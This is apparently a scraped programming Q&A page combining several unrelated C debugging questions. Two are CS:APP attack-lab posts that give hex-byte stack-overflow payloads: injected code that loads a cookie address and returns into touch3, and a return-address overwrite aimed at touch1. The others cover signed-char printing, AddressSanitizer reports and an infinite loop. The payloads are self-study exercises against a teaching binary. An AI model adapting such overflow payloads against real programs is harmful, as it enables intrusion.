I am currently reading the book CS:APP. I am working on the labs too which are for self-study. After I got stuck at phase 3. I tried two methods basically to solve this phase. One of them results in a seg fault. The other doesn't even read the address of my cookie.Here is the assembly for get buff. I have 0x28 padding
.
My %rsp from phase 2 is 0x5561f8c0. The first way I tried to solve it was like the following:
48 c7 c7 d0 f8 61 55 c3 /* mov %rsp + 0x10, rdi --->movq $0x5561f8d0, %rdi ret /
00 00 00 00 00 00 00 00 / padding to complete 0x28 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 f8 61 55 00 00 00 00 /* rsp -0x28 padding */
fe 18 40 00 00 00 00 00 /* address of touch 3 /
32 33 32 61 64 64 31 62 / my cookies in hexa */
This gets the valid solution but result in seg fault. See the next picture:
Valid solution for level 3 with target ctarget
Ouch!: You caused a segmentation fault!
Better luck next time
I tried another way where I push the address of touch3 before the padding but it doesn't even read my 48 c7 c7 d0 f0 61 55 /* mov %rsp + 0x10, rdi --->movq $0x5561f8d0, %rdi /
68 fe 18 40 00 / pushq address of touch 3*/
c3 /* ret /
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 f8 61 55 00 00 00 00 / rsp -0x28 padding */
32 33 32 61 64 64 31 62 * my cookies in hexa */
You called touch3("��aU")
I don't know why the segmentation fault is happening while it validates, any help will be appreciated.
I tried the two ways as I mentioned above.
Related
I've been working on a small program to dump the hex values of a file, similar to od or hexdump, and I've ran into an issue when printing the values. For certain hex values, mostly ones with alphabetical characters as their second digit, it prints with 6 extra f digits before printing the actual number, instead of just printing a 2-width value like I had specified. I have confirmed that the values themselves are not unexpected in any way, it's the printing that's messing it up.
Code:
int main(int argc, char* argv[]) {
FILE* dataFile = fopen(argv[1], "rb");
int byteCount = 0;
char currentByte = fgetc(dataFile);
while (currentByte != EOF) {
printf("%08d", byteCount);
do {
//print as hex
printf(" %02x ", currentByte);
//set up for next loop
currentByte = fgetc(dataFile);
byteCount++;
} while (currentByte != EOF && (byteCount) % 16 != 0);
printf("\n");
}
printf("%08d\n", byteCount);
}
Output:
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
00000016 03 00 3e 00 01 00 00 00 10 6b 00 00 00 00 00 00
00000032 40 00 00 00 00 00 00 00 08 23 02 00 00 00 00 00
00000048 00 00 00 00 40 00 38 00 0d 00 40 00 1f 00 1e 00
00000064 06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00
00000080 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00000096 ffffffd8 02 00 00 00 00 00 00 ffffffd8 02 00 00 00 00 00 00
00000112 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00
00000128 18 03 00 00 00 00 00 00 18 03 00 00 00 00 00 00
00000144 18 03 00 00 00 00 00 00 1c 00 00 00 00 00 00 00
00000160 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00
00000176 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00
00000192 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000208 fffffff8 34 00 00 00 00 00 00 fffffff8 34 00 00 00 00 00 00
Does anyone know what's going on here?
There are several problems here.
char is entirely unsuitable to hold raw binary data, because it has implementation-defined signedness and it often a signed type, see Is char signed or unsigned by default?. In fact char should only ever be used for text strings. Instead, you would normally use uint8_t. However... :
The EOF constant is of type int, so if you intend to compare something against EOF, it must be type int. fgetc is guaranteed to return characters as if they were unsigned char but converted to int - as it happens, int is large enough to hold all values of an unsigned char so int can be used here.
%x specifier for printf expects an unsigned int.
Fixes:
char currentByte -> int currentByte
printf(" %02x ", currentByte); -> printf(" %02x ", (unsigned int)currentByte);.
You must always check if fopen was successful and also fclose the file pointer when done. Also note that calling fopen directly on argv with no input sanitation is not acceptable in a professional program. You don't even know if argv[1] exists - the program needs a whole lot more error handling overall.
I wrote this C code to solve Advent of Code 13 2020. I know, it's probably not viable trying to solve it via brute force, but the program gives the correct answer for the example input.
If I try to let gcc optimize the code, it gives the correct result with -O1, but creates an endless loop with -O2. After all the research my conclusion is that there is undefined behavior in my code, I guess it has to do with the probability that "found" may never be higher than 0 and so "time" would overflow.
Here is the question: Does anybody know how to patch that undefined behavior?
"-Wall -Wextra -pedantic" don't even issue a warning or something.
I just can't find a solution. If I, for example, change the head of the while loop to (!found && time < 10000000000), so that no overflow can occur, it just breaks the loop right away with a time value of 10000000003 when compiled with -O2, but still gives the right result with -O1.
Here is the code, the correct result would be "1068781":
#include <stdio.h>
int main()
{
unsigned int busses[] = {7, 0, 13, 2, 59, 1, 31, 0, 19};
unsigned int busses_used = 9;
unsigned int i = 0;
unsigned int found = 0;
unsigned long long time = 0;
unsigned int offset = 0;
unsigned int increment = 7;
while (!found) {
time += increment;
offset = 0;
for (i = 0; i < busses_used; i++) {
if ((time + offset) % busses[i] == 0) {
found = 1;
offset++;
} else {
found = 0;
break;
}
offset += busses[++i];
}
}
printf("Endtime: %lld\n", time);
return 0;
}
Edit: Thanks to KamilCuk for pointing out that the code is accessing the array out of bounds and teaching how to find out that it is doing so. The problem is solved by adding another 0 at the end of the "busses" array and therefore also setting "busses_used" to 10 instead of 9.
I do not understand the code and not indent to, but the loop is strange. Anyway:
"-Wall -Wextra -pedantic" don't even issue a warning or something.
And there are also other ways to detect UB! Compiling your code with some more -fsanitize=* options results with:
+ gcc -Wall -Wextra -ggdb3 -fsanitize=address -fsanitize=undefined -fsanitize=pointer-compare -fsanitize=pointer-subtract -fsanitize-address-use-after-scope /tmp/1.c
/tmp/1.c:22:29: runtime error: index 9 out of bounds for type 'unsigned int [9]'
/tmp/1.c:22:29: runtime error: load of address 0x7ffc48c7a894 with insufficient space for an object of type 'unsigned int'
0x7ffc48c7a894: note: pointer points here
13 00 00 00 60 60 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 08 aa c7 48 fc 7f 00 00
^
=================================================================
==73835==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc48c7a894 at pc 0x55c28a5bf773 bp 0x7ffc48c7a800 sp 0x7ffc48c7a7f0
READ of size 4 at 0x7ffc48c7a894 thread T0
#0 0x55c28a5bf772 in main /tmp/1.c:22
#1 0x7f0060bd1151 in __libc_start_main (/usr/lib/libc.so.6+0x28151)
#2 0x55c28a5bf12d in _start (/tmp/tmp.qv8ZsZofOJ.out+0x112d)
Address 0x7ffc48c7a894 is located in stack of thread T0 at offset 84 in frame
#0 0x55c28a5bf208 in main /tmp/1.c:3
This frame has 1 object(s):
[48, 84) 'busses' (line 4) <== Memory access at offset 84 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/1.c:22 in main
Shadow bytes around the buggy address:
0x1000091874c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000091874d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000091874e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000091874f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100009187500: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 f1 f1 00 00
=>0x100009187510: 00 00[04]f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x100009187520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100009187530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100009187540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100009187550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100009187560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==73835==ABORTING
After quick inspection the out of bounds access to busses happens here:
offset += busses[++i];
Does anybody know how to patch that undefined behavior?
No idea, but write an algorithm that doesn't access the array out of bounds.
I have a program (ctarget) that uses the gets() function into a buffer. I need to overflow the buffer and call another program. From the assembly code (I don't have the source code) I can see the size of the stack allocation (0x38):
000000000040194a <getbuf>:
40194a: 48 83 ec 38 sub $0x38,%rsp
40194e: 48 89 e7 mov %rsp,%rdi
401951: e8 8a 02 00 00 callq 401be0 <Gets>
401956: b8 01 00 00 00 mov $0x1,%eax
40195b: 48 83 c4 38 add $0x38,%rsp
40195f: c3 retq
I have another program (hex2raw) that reads in a text file and converts hex characters to raw binary data. So I have the following in exploit1.txt
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */
The leading zeros are padding the buffer. I've made a comment at the point in which the program does not seg fault. I've added 8 more bytes to fill in the old %rbp place on the stack. Lastly, I've added the address of the desired function into (what is supposed to be) the return space -- in little endian order.
Using the hex2raw program I can execute the program with the following command: ./hex2raw < exploit1.txt | ./ctarget
When I do run with the above, I get a seg fault.
Here is the assembly for the function I'm trying to call:
0000000000401960 <touch1>:
401960: 48 83 ec 08 sub $0x8,%rsp
401964: c7 05 ae 3b 20 00 01 movl $0x1,0x203bae(%rip) # 60551c <vlevel>
40196b: 00 00 00
40196e: bf 6a 32 40 00 mov $0x40326a,%edi
401973: e8 68 f3 ff ff callq 400ce0 <puts#plt>
401978: bf 01 00 00 00 mov $0x1,%edi
40197d: e8 b4 04 00 00 callq 401e36 <validate>
401982: bf 00 00 00 00 mov $0x0,%edi
401987: e8 e4 f4 ff ff callq 400e70 <exit#plt>
What do I have wrong?
I'm given the functions getbuf() and touch1() if it helps:
4 int getbuf() {
6 char buf[BUFFER_SIZE];
7 Gets(buf);
8 return 1;
9 }
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
I have this code below to implement maximum subsequence length searching. I couldn't check if the program is right or not since running my program produces segmentation faults.
The program compiles fine.
Please tell me what I am doing wrong here:
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>
int main()
{
int a[6]={1,-2,4,33,0,-6}; //THE ACTUAL SEQUENCE
int count_a[6]={1,1,1,1,1,1}; //ARRAY TO KEEP COUNT OF MAXIMUM LENGTHS FROM POINT OF VIEW OF EACH ELEMENT OF ARRAY A
int i=0;
int j=0;
int k=0;
for(k=1;k<6;k++)
{
j=k;
printf("k's value:%d\t",j); //JUST FOR TESTING
while(1)
{
if(a[i]<a[j])
{
if(count_a[j]<(1+count_a[i]))
{
count_a[j]=1+count_a[i];
}
}
if(j-1==1)
{
break;
}
else
{
i++;
}
}
i=0;
}
/* THIS IS FOR ME TO CHECK WHETHER THE LENGTH VALUES HAVE BEEN UPDATED IN THE COUNT_A ARRAY*/
for(k=0;k<6;k++)
{
printf("%d\t",count_a[k]);
}
return 0;
}
You are having infinite loop. j=k; then while(1) can only terminate when if(j-1==1). On the first iteration k is set to 1 so j is also set to 1. Never breaks because 1-1!=1. Your j is never changed inside while(1) loop.
i++ is always the option. When i becomes large it tries to read from outside of array count_a[i] causing segfault.
Let's use clang's address sanitizer to figure out what is going on:
[3:41pm][wlynch#watermelon /tmp] clang -g -fsanitize=address blah.c
[3:41pm][wlynch#watermelon /tmp] ./a.out
=================================================================
==22763==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff52950958 at pc 0x00010d2b0953 bp 0x7fff52950910 sp 0x7fff52950908
READ of size 4 at 0x7fff52950958 thread T0
#0 0x10d2b0952 in main blah.c:20
#1 0x7fff851205ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
#2 0x0 (<unknown module>)
Address 0x7fff52950958 is located in stack of thread T0 at offset 56 in frame
#0 0x10d2b072f in main blah.c:8
This frame has 2 object(s):
[32, 56) 'a' <== Memory access at offset 56 overflows this variable
[96, 120) 'count_a'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow blah.c:20 main
Shadow bytes around the buggy address:
0x1fffea52a0d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1fffea52a120: 00 00 00 00 f1 f1 f1 f1 00 00 00[f2]f2 f2 f2 f2
0x1fffea52a130: 00 00 00 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x1fffea52a140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1fffea52a170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==22763==ABORTING
k's value:1 Abort
So you're accessing beyond the end of a[].
If I reduce your code down, we can see that this is obviously possible:
k = 1;
j = k;
while(1)
{
if(a[i]<a[j])
if(count_a[j]<(1+count_a[i]))
count_a[j]=1+count_a[i];
if(j-1==1)
break;
else
i++;
}
Note that j-1 will never equal 1 on this iteration (it will always be 0), so you will increment i until it is well past the end of a.
I think this code should produce a buffer overflow error but apparently, this prints fine.. is there anyway to detect it has overflown?
Valgrind didn't picked it up either...
static void e(void) {
char buffer[5];
char data1[] = "abc";
char data2[] = "de";
memcpy(buffer, data1, sizeof(data1));
// strcat appends data2 to buffer and adds '\0' at the end dest
strcat(buffer, data2);
//printf("%s\n", buffer);
}
The -fsanitize=address of gcc is the option you're looking for. E.g.:
$ cat test.cpp
#include <stdio.h>
#include <string.h>
static void e(void) {
char buffer[5];
char data1[] = "abc";
char data2[] = "de";
memcpy(buffer, data1, sizeof(data1));
// strcat appends data2 to buffer and adds '\0' at the end dest
strcat(buffer, data2);
//printf("%s\n", buffer);
}
int main() {
e();
}
$ g++ test.cpp -o a -fsanitize=address -g3
$ ./a
=================================================================
==21537== ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1d8c0313 at pc 0x7f96ebedd94b bp 0x7ffd1d8c0260 sp 0x7ffd1d8bfa20
WRITE of size 3 at 0x7ffd1d8c0313 thread T0
#0 0x7f96ebedd94a (/usr/lib/x86_64-linux-gnu/libasan.so.0.0.0+0xe94a)
#1 0x40091b (/tmp/a+0x40091b)
#2 0x400959 (/tmp/a+0x400959)
#3 0x7f96ebb2bec4 (/lib/x86_64-linux-gnu/libc-2.19.so+0x21ec4)
#4 0x400748 (/tmp/a+0x400748)
Address 0x7ffd1d8c0313 is located at offset 163 in frame <e> of T0's stack:
This frame has 3 object(s):
[32, 35) 'data2'
[96, 100) 'data1'
[160, 165) 'buffer'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
Shadow bytes around the buggy address:
0x100023b10010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b10020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b10030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b10040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
0x100023b10050: f1 f1 03 f4 f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2
=>0x100023b10060: f2 f2[05]f4 f4 f4 00 00 00 00 00 00 00 00 00 00
0x100023b10070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b10080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b10090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b100a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023b100b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==21537== ABORTING